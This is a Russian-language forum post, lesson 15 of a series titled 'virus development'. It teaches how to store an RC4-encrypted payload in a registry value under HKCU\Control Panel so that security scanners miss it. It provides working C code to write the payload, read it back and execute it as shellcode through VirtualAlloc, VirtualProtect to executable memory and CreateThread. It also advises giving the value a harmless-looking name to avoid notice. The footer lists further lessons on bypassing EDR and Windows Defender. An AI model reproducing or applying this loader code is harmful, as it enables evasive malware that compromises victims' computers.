Уроки Разработка вирусов-15. Прячем Payload в реестре


X-Shar

:)
Администрация
Регистрация
03.06.2012
Сообщения
6 085
Репутация
8 208
В общем из предыдущих уроков мы с вами знаем, что payload не обязательно должен храниться внутри вредоносной программы.
Вместо этого payload может быть получен во время выполнения вредоносной программы. В этой статье будет показана похожая техника, только payload будет записан в качестве значения ключа реестра и извлечен из реестра при необходимости.
Так как payload будет храниться в реестре, при сканировании вредоносной программы системами безопасности они не смогут обнаружить или найти payload внутри.

Код в этой статье разделен на две части. Первая часть записывает зашифрованный payload в ключ реестра. Вторая часть считывает payload из того же ключа реестра, расшифровывает его и выполняет.
В статье не будет объясняться процесс шифрования/расшифрования, так как это было объяснено в предыдущих уроках.

Также мы будем использовать условную компиляцию

Условная Компиляция

Условная компиляция - это способ включать код в проект, который компилятор либо будет компилировать, либо не будет.

Две ниже приведенные секции предоставляют базовый код, для понимания как будут написаны операции чтения и записи с использованием условной компиляции.

Операция записи
C:
#define WRITEMODE // Код, который будет скомпилирован в случае если нужно записать данные в реестр

// если определено 'WRITEMODE'
#ifdef WRITEMODE
    // Код, необходимый для записи payload в реестр
#endif
#ifdef READMODE // Код, который НЕ будет скомпилирован
#endif

Операция чтения
C:
#define READMODE // Код, который будет скомпилирован в случае если нужно считать данные из реестра

// если определено 'READMODE'
#ifdef READMODE
    // Код, необходимый для чтения payload из реестра
#endif
#ifdef WRITEMODE // Код, который НЕ будет скомпилирован
#endif

Запись в реестр

Этот раздел расскажет о функции WriteShellcodeToRegistry. Функция принимает два параметра:

pShellcode - Payload для записи.

dwShellcodeSize - Размер записываемого payload.

REGISTRY & REGSTRING

Код начинается с двух предопределенных констант REGISTRY и REGSTRING, которые устанавливаются на Control Panel и Ru-SferaPW соответственно.
C:
// Ключ реестра для чтения/записи
#define REGISTRY "Control Panel"
#define REGSTRING "RuSferaPW"

REGISTRY - это имя ключа реестра, который будет содержать payload.
Полный путь REGISTRY будет такой Computer\HKEY_CURRENT_USER\Control Panel.

1694855064763.png


То, что функция будет делать программно, - это создание нового значения строки под этим ключом реестра для хранения payload.
REGSTRING — это имя создаваемого значения строки. Очевидно, что в реальной ситуации стоит использовать более реалистичное значение, такое как PanelUpdateService или AppSnapshot.

1694855140339.png


Открытие дескриптора для ключа реестра

Используется WinAPI функция RegOpenKeyExA для открытия дескриптора к указанному ключу реестра. Это необходимо для создания, редактирования или удаления значений в ключе реестра.

Функция RegOpenKeyExA:

C:
LSTATUS RegOpenKeyExA(
  [in]           HKEY   hKey,              // Дескриптор открытого ключа реестра
  [in, optional] LPCSTR lpSubKey,          // Имя открываемого подключа реестра (константа REGISTRY)
  [in]           DWORD  ulOptions,          // Опции при открытии ключа - Установлено в 0
  [in]           REGSAM samDesired,          // Права доступа
  [out]          PHKEY  phkResult          // Указатель на переменную, которая получает дескриптор открытого ключа
);

Четвертый параметр RegOpenKeyExA определяет права доступа к ключу реестра. Так как программа должна создать значение в ключе реестра, выбрано KEY_SET_VALUE. Полный список прав доступа к реестру можно найти в документации Microsoft.

C:
STATUS = RegOpenKeyExA(HKEY_CURRENT_USER, REGISTRY, 0, KEY_SET_VALUE, &hKey);

Установка значения реестра

Далее используется функция WinAPI RegSetValueExA, которая принимает открытый дескриптор из RegOpenKeyExA и создает новое значение на основе второго параметра, REGSTRING. Она также записывает payload в только что созданное значение.

Функция RegSetValueExA:

C:
LSTATUS RegSetValueExA(
  [in]           HKEY       hKey,         // Дескриптор открытого ключа реестра
  [in, optional] LPCSTR     lpValueName,  // Имя устанавливаемого значения (константа REGSTRING)
                 DWORD      Reserved,     // Установлено в 0
  [in]           DWORD      dwType,       // Тип данных, на который указывает параметр lpData
  [in]           const BYTE *lpData,      // Данные для сохранения
  [in]           DWORD      cbData        // Размер информации, на которую указывает параметр lpData, в байтах
);

Также стоит отметить, что четвертый параметр определяет тип данных для значения реестра. В этом случае он установлен на REG_BINARY, так как payload представляет собой просто список байтов. Полный список типов данных можно найти в документации Microsoft.

C:
STATUS = RegSetValueExA(hKey, REGSTRING, 0, REG_BINARY, pShellcode, dwShellcodeSize);

Закрытие дескриптора ключа реестра

Наконец, используется RegCloseKey для закрытия дескриптора ключа реестра, который был открыт.

Функция RegCloseKey:

C:
LSTATUS RegCloseKey(
  [in] HKEY hKey // Дескриптор открытого ключа реестра, который будет закрыт
);

Запись в реестр
C:
BOOL WriteShellcodeToRegistry(IN PBYTE pShellcode, IN DWORD dwShellcodeSize) {

    BOOL        bSTATE  = TRUE;
    LSTATUS     STATUS  = NULL;
    HKEY        hKey    = NULL;

    printf("[i] Запись 0x%p [ Размер: %ld ] в \"%s\\%s\" ... ", pShellcode, dwShellcodeSize, REGISTRY, REGSTRING);

    STATUS = RegOpenKeyExA(HKEY_CURRENT_USER, REGISTRY, 0, KEY_SET_VALUE, &hKey);
    if (ERROR_SUCCESS != STATUS) {
        printf("[!] Ошибка при открытии ключа RegOpenKeyExA: %d\n", STATUS);
        bSTATE = FALSE; goto _EndOfFunction;
    }

    STATUS = RegSetValueExA(hKey, REGSTRING, 0, REG_BINARY, pShellcode, dwShellcodeSize);
    if (ERROR_SUCCESS != STATUS){
        printf("[!] Ошибка при записи RegSetValueExA: %d\n", STATUS);
        bSTATE = FALSE; goto _EndOfFunction;
    }

    printf("[+] Готово ! \n");


_EndOfFunction:
    if (hKey)
        RegCloseKey(hKey);
    return bSTATE;
}

Чтение из реестра

Теперь, когда payload записан в строковое значение RuSferaPw внутри ключа реестра Computer\HKEY_CURRENT_USER\Control Panel, пришло время написать другую реализацию, которая будет считывать это значение в реестре и запускать PayLoad.

Этот раздел расскажет о функции ReadShellcodeFromRegistry (показанной ниже).

Функция принимает два параметра:

sPayloadSize - Размер payload, который нужно прочитать.
ppPayload - Буфер, в котором будет храниться полученный payload.

Выделение памяти

Функция начинает с выделения памяти размером sPayloadSize, в которой будет храниться payload.

C:
pBytes = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sPayloadSize);

Чтение значения из реестра

Функция RegGetValueA требует указания ключа реестра и значения, которое нужно прочитать, которыми являются REGISTRY и REGSTRING соответственно.
В предыдущей статье можно было получать payload из интернета в нескольких частях любого размера, однако при работе с RegGetValueA это невозможно, так как функция не читает байты как поток данных, а скорее целиком.
Все это означает, что знание размера payload является обязательным при реализации чтения.
C:
LSTATUS RegGetValueA(
  [in]                HKEY    hkey,     // Дескриптор открытого ключа реестра
  [in, optional]      LPCSTR  lpSubKey, // Путь к ключу реестра относительно ключа, указанного в параметре hkey
  [in, optional]      LPCSTR  lpValue,  // Имя значения в реестре
  [in, optional]      DWORD   dwFlags,  // Флаги, которые ограничивают тип данных значения, которое будет запрошено
  [out, optional]     LPDWORD pdwType,  // Указатель на переменную, которая получит код, указывающий тип данных, сохраненных в указанном значении
  [out, optional]     PVOID   pvData,   // Указатель на буфер, который получит данные значения
  [in, out, optional] LPDWORD pcbData   // Указатель на переменную, которая определяет размер буфера, на который указывает параметр pvData, в байтах
);

Четвертый параметр может быть использован для ограничения типа данных, однако эта реализация использует RRF_RT_ANY, что означает любой тип данных. В качестве альтернативы можно было бы использовать RRF_RT_REG_BINARY, так как payload представляет собой двоичные данные. Наконец, payload считывается в pBytes, который был ранее выделен с использованием HeapAlloc.

C:
STATUS = RegGetValueA(HKEY_CURRENT_USER, REGISTRY, REGSTRING, RRF_RT_ANY, NULL, pBytes, &dwBytesRead);

Исполнение Payload

После того как payload прочитан из реестра и сохранен в выделенном буфере, используется функция RunShellcode для его исполнения. Обратите внимание, что эта функция была описана в предыдущих модулях.

C:
BOOL RunShellcode(IN PVOID pDecryptedShellcode, IN SIZE_T sDecryptedShellcodeSize) {

    PVOID pShellcodeAddress = NULL;
    DWORD dwOldProtection   = NULL;

    // Выделение виртуальной памяти для исполняемого payload
    pShellcodeAddress = VirtualAlloc(NULL, sDecryptedShellcodeSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    if (pShellcodeAddress == NULL) {
        printf("[!] Ошибка при выделении памяти VirtualAlloc: %d \n", GetLastError());
        return FALSE;
    }

    printf("[i] Выделенная память по адресу: 0x%p \n", pShellcodeAddress);

    // Копирование расшифрованного payload в выделенный адрес
    memcpy(pShellcodeAddress, pDecryptedShellcode, sDecryptedShellcodeSize);
    // Обнуление исходного расшифрованного payload
    memset(pDecryptedShellcode, '\0', sDecryptedShellcodeSize);

    // Изменение прав доступа к памяти для обеспечения возможности выполнения
    if (!VirtualProtect(pShellcodeAddress, sDecryptedShellcodeSize, PAGE_EXECUTE_READWRITE, &dwOldProtection)) {
        printf("[!] Ошибка при изменении прав доступа VirtualProtect: %d \n", GetLastError());
        return FALSE;
    }

    printf("[#] Нажмите <Enter>, чтобы запустить ... ");
    getchar();

    // Создание потока для исполнения payload
    if (CreateThread(NULL, NULL, pShellcodeAddress, NULL, NULL, NULL) == NULL) {
        printf("[!] Ошибка при создании потока CreateThread: %d \n", GetLastError());
        return FALSE;
    }

    return TRUE;
}

Запись в реестр - Демо

До запуска скомпилированного кода, показанного выше, ключ реестра выглядит следующим образом:

1694855910879.png


После запуска программы создается новое строковое значение реестра с payload, зашифрованным с помощью RC4.

1694855942380.png


1694855975490.png


Чтение из реестра - Демо

Программа начинает с чтения зашифрованного payload из реестра.

1694856016072.png


Далее программа будет расшифровывать payload.
1694856050862.png


И, наконец, расшифрованный payload исполняется.

1694856082886.png
 
Последнее редактирование:
Автор темы Похожие темы Форум Ответы Дата
X-Shar Введение в разработку вредоносных программ 1
X-Shar Введение в разработку вредоносных программ 6
X-Shar Введение в разработку вредоносных программ 0
X-Shar Введение в разработку вредоносных программ 2
X-Shar Введение в разработку вредоносных программ 0
X-Shar Введение в разработку вредоносных программ 0
X-Shar Введение в разработку вредоносных программ 0
X-Shar Введение в разработку вредоносных программ 0
X-Shar Введение в разработку вредоносных программ 0
X-Shar Введение в разработку вредоносных программ 5
X-Shar Введение в разработку вредоносных программ 1
X-Shar Введение в разработку вредоносных программ 0
X-Shar Введение в разработку вредоносных программ 0
X-Shar Введение в разработку вредоносных программ 0
X-Shar Введение в разработку вредоносных программ 0
X-Shar Введение в разработку вредоносных программ 2
X-Shar Введение в разработку вредоносных программ 2
X-Shar Введение в разработку вредоносных программ 0
X-Shar Введение в разработку вредоносных программ 3
X-Shar Введение в разработку вредоносных программ 2
Похожие темы
Уроки Разработка вирусов-35.Обход EDRs.Последняя тема цикла
Уроки Разработка вирусов-34.Обход Windows defender
Уроки Разработка вирусов-33.Уменьшение вероятности детекта зверька
Уроки Разработка вирусов-32.Открываем врата ада
Уроки Разработка вирусов-31.Обход виртуальных машин
Уроки Разработка вирусов-30.Черпаем силы в антиотладке
Уроки Разработка вирусов-29. Предельная техника-2. Практика. Реализуем техники инъекции через сисколы
Уроки Разработка вирусов-28. Предельная техника. Разборка с сисколами
Уроки Разработка вирусов-27.Кунгфу-2.Изучаем API Hooking
Уроки Разработка вирусов-26. Изучаем кунгфу-1. Скрытие таблицы импорта
Уроки Разработка вирусов-25. Скрытие строк
Уроки Разработка вирусов-24. Изучаем технику Spoofing
Уроки Разработка вирусов-23. Контроль выполнения полезной нагрузки
Уроки Разработка вирусов-22.Изучаем технику Stomping Injection
Уроки Разработка вирусов-21.Инъекция отображаемой памяти
Уроки Разработка вирусов-20.Вызов кода через функции обратного вызова
Уроки Разработка вирусов-19.Изучаем технику APC Injection
Уроки Разработка малвари-18.Определение PID нужного процесса, или перечисления процессов
Уроки Разработка вирусов-17.Изучаем технику Thread Hijacking
Уроки Разработка вирусов-16.Разборка с цифровой подписью зверька
Верх Низ